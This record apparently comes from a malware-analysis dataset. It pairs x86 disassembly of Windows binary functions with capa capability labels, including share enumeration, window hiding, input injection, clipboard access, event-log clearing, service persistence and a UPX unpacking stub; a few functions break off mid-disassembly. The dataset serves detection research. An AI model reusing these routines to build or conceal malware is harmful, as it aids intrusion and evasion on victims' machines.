joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409c14
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x409c1c
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x409e77
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41bb68
mov edx, 0x409e90
call fcn.0040325c
lea eax, [ebp - 4]
push eax
push ebx
push 0x13
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x409e5c
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.00402490
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.004027e8
mov dword [ebp - 8], 0x3f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x409ca2
cmp eax, 0xea
jne 0x409e36
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x409c7a
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x409cc4
lea eax, [esi + edi*8]
call fcn.00409c14
cmp dword [esi + edi*8 + 8], 3
jne 0x409e27
mov eax, 0x41bb68
mov edx, 0x409f68
call fcn.0040325c
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.00403338
mov edx, dword [ebp - 0x14]
mov eax, 0x41bb50
mov ecx, 0x40a044
call fcn.004033d8
inc dword [0x41bb90]
mov eax, dword [0x41bb90]
cmp eax, dword [0x41bb94]
jl 0x409e27
mov eax, dword [0x41bb90]
push eax
mov ecx, dword [0x41bd1c]
mov edx, dword [0x41bd14]
mov eax, 0x80000002
call fcn.00406004
mov eax, dword [0x41bb50]
push eax
mov ecx, dword [0x41bd18]
mov edx, dword [0x41bd14]
mov eax, 0x80000002
call fcn.00405f14
xor eax, eax
mov dword [0x41bb8c], eax
mov word [0x41a1f4], 0
mov eax, 0x41bb68
mov edx, 0x40a050
call fcn.0040325c
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x41bb30]
call fcn.0040338c
mov ecx, eax
mov edx, 3
mov eax, dword [0x41bb50]
call fcn.004035e4
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00404928
mov eax, dword [ebp - 0x18]
mov edx, dword [0x41bb30]
call fcn.004034d8
jne 0x409dc1
lea eax, [ebp - 0x20]
mov ecx, dword [0x41bb50]
mov edx, 0x40a0d8
call fcn.004033d8
mov eax, dword [ebp - 0x20]
call fcn.00410138
jmp 0x409de6
mov eax, dword [0x41bb50]
call fcn.004093c4
lea eax, [ebp - 0x24]
mov ecx, dword [0x41bb50]
mov edx, 0x40a0ec
call fcn.004033d8
mov eax, dword [ebp - 0x24]
call fcn.00410138
mov eax, 0x41bb68
mov edx, 0x40a0fc
call fcn.0040325c
xor eax, eax
mov dword [0x41bb88], eax
mov eax, dword [0x41bb88]
push eax
mov ecx, dword [0x41bd20]
mov edx, dword [0x41bd14]
mov eax, 0x80000002
call fcn.00406004
mov eax, 0x41bb68
mov edx, 0x40a1c0
call fcn.0040325c
inc ebx
dec dword [ebp - 0x10]
jne 0x409cb0
jmp 0x409c7a
mov eax, esi
call fcn.004024b0
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
je 0x409e5c
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.004057d8
mov eax, dword [ebp - 0x28]
call fcn.00410138
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409e7e
lea eax, [ebp - 0x28]
mov edx, 6
call fcn.0040322c
ret
Function at 0x40b0c4
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x41bb68
mov edx, 0x40b148
call fcn.0040325c
push 0
push 0
mov eax, dword [0x41bde8]
call fcn.0040358c
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
mov eax, 0x41bb68
mov edx, 0x40b1ec
call fcn.0040325c
push 0
push 0
mov eax, dword [0x41bdec]
call fcn.0040358c
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
mov eax, 0x41bb68
mov edx, 0x40b258
call fcn.0040325c
push 0
push 0
mov eax, dword [0x41bdf0]
call fcn.0040358c
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x40d164
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
mov edi, 0x41bb68
xor eax, eax
push ebp
push 0x40d360
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
xor eax, eax
call fcn.004026c0
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00404964
mov edx, dword [ebp - 4]
mov eax, 0x41bb40
call fcn.0040325c
cmp byte [0x41bba9], 0
jne 0x40d1c8
mov eax, dword [0x41bb40]
push eax
mov ecx, dword [0x41bce8]
mov edx, dword [0x41bd14]
mov eax, 0x80000002
call fcn.00405f14
mov eax, edi
mov edx, 0x40d378
call fcn.0040325c
cmp byte [0x41bba9], 0
je 0x40d1e7
call fcn.0040d974
jmp 0x40d345
mov eax, edi
mov edx, 0x40d420
call fcn.0040325c
xor ebx, ebx
push 0
mov eax, dword [0x41be1c]
call fcn.0040358c
push eax
call sub.user32.dll_FindWindowA
mov ebx, eax
test ebx, ebx
jne 0x40d219
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x40d1f5
mov eax, edi
mov edx, 0x40d4b0
call fcn.0040325c
push 0xea60
call sub.kernel32.dll_Sleep
push 0
push 0x40d574
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
mov eax, dword [0x41bcfc]
call fcn.0040358c
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
jne 0x40d268
mov eax, dword [0x41bd04]
call fcn.0040358c
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x40d2f8
mov eax, edi
mov edx, 0x40d584
call fcn.0040325c
mov eax, dword [0x41be20]
call fcn.0040358c
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov esi, eax
mov eax, edi
mov edx, 0x40d614
call fcn.0040325c
test esi, esi
je 0x40d2f8
call esi
push 0xbb8
call sub.kernel32.dll_Sleep
push 0
push 0xd
push pe_nt_image_headers32
push ebx
call sub.user32.dll_SendMessageA
mov eax, edi
mov edx, 0x40d6dc
call fcn.0040325c
push 0x1f4
call sub.kernel32.dll_Sleep
push 0
push 0xd
push 0x101
push ebx
call sub.user32.dll_SendMessageA
push 0xc8
call sub.kernel32.dll_Sleep
mov eax, 0x41a1c8
mov edx, 5
call fcn.00416a90
mov eax, edi
mov edx, 0x40d77c
call fcn.0040325c
mov eax, dword [0x41bd10]
call fcn.0040358c
mov edx, eax
mov eax, 0x41bbbc
mov ecx, 0xbb8
call fcn.00405c88
test al, al
je 0x40d345
mov eax, edi
mov edx, 0x40d80c
call fcn.0040325c
call fcn.0040d974
mov eax, edi
mov edx, 0x40d8bc
call fcn.0040325c
call fcn.004104a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d367
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040322c
ret
Function at 0x410138
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040357c
xor eax, eax
push ebp
push 0x41024d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41bb68
mov edx, 0x410264
call fcn.0040325c
cmp dword [0x41bbb0], 0
jne 0x410179
call fcn.0040ff80
push 2
push 0
push 0
invalid
invalid

Function at 0x4106d0
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get memory capacity
Get session user name

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xcc
push 0
push 0
dec ecx
jne 0x4106d8
push ebx
push esi
push edi
mov edi, 0x41bb78
mov ebx, dword [0x41a2d4]
xor eax, eax
push ebp
push 0x411c0d
push dword fs:[eax]
xor byte [ecx + ecx*4 + 0x20], ah
Function at 0x42d840
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c000]
push edi
or ebp, 0xffffffff
jmp 0x42d862
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42d869
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42d858
mov eax, 1
add ebx, ebx
jne 0x42d87b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42d870
jne 0x42d88c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42d870
xor ecx, ecx
sub eax, 3
jb 0x42d8a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42d912
mov ebp, eax
add ebx, ebx
jne 0x42d8ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42d8b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42d8dc
inc ecx
add ebx, ebx
jne 0x42d8c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42d8bd
jne 0x42d8d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42d8bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42d8fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42d8ed
jmp 0x42d85e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42d8fc
add edi, ecx
jmp 0x42d85e
pop esi
mov edi, esi
mov ecx, 0x867
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42d91a
cmp byte [edi], 9
jne 0x42d91a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42d91f
lea edi, [esi + 0x2b000]
mov eax, dword [edi]
or eax, eax
je 0x42d98e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2d068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d0b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42d94c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d0bc]
or eax, eax
je 0x42d988
mov dword [ebx], eax
add ebx, 4
jmp 0x42d969
call dword [esi + 0x2d0c0]
popal
jmp section.UPX0
Function at 0x10004dc0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10007280
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10005a70
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005a92
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000a380
add esp, 8
test al, al
jne 0x10005aa6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10016338
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Defat
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10005b80
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10005bd0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10005bb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10006220
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x104
ret
Function at 0x10006ca0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x10018b04]
sub esp, 0x28
test eax, eax
jne 0x10006cbc
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10018b04], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x100133dc
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10006dc0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x10018af8], eax
call esi
mov eax, dword [0x10018af8]
add esp, 4
test eax, eax
jne 0x10006d4a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10006d82
push 0x30
call esi
mov eax, dword [0x10018af8]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x10018af4], eax
call esi
mov eax, dword [0x10018af4]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x10006d9e
test eax, eax
je 0x10006d96
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10006db2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10007130
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100071ec
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
jne 0x100071a7
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
mov eax, 1
pop ebx
add esp, 0x108
ret
push esi
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x100071d7
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x100071c9
push edi
push esi
mov ecx, ebp
call fcn.100070d0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x100084a0
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10008651
call fcn.1000a160
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10008651
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000851d
cmp eax, 0x208
ja 0x1000851d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x100085cd
je 0x100085b5
cmp eax, 0x105
ja 0x10008589
je 0x1000856b
sub eax, 0x100
je 0x1000854d
dec eax
je 0x1000856b
sub eax, 3
jne case.0x100085d7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100085d7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100085d7.521
sub eax, 0x201
je 0x100085a6
dec eax
jne case.0x100085d7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000863a
nop
add byte [edx], ch
push 0
push 0
push 6
call ebp
nop
add byte [edx], ch
push 0
push 0
push 6
jmp 0x1000863a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x100085d7.521
jmp dword [eax*4 + 0x10008658]
push 0
nop
add byte [edx], ch
push 0
push 8
jmp 0x1000863a
nop
add byte [edx], ch
push 0
push 0
push 0x10
jmp 0x1000863a
push 0
nop
add byte [edx], ch
push 0
push 0x18
call ebp
push 0
nop
add byte [edx], ch
push 0
push 0x18
jmp 0x1000863a
nop
add byte [edx], ch
push 0
push 0
push 0x20
jmp 0x1000863a
nop
add byte [edx], ch
push 0
push 0
push 0x40
jmp 0x1000863a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x100084e9
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x10008680
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100086e8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x100086e0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8

Function at 0x100086f0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10008782
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10008721
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10007280
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1000b9a0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000ba1f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000ba0d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000ba0d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000b9dc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Hkbcih_Rqgir_eqAz_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__JslfTNrpyrjm_bqe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__JslfTNrpyrjm_bqe
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret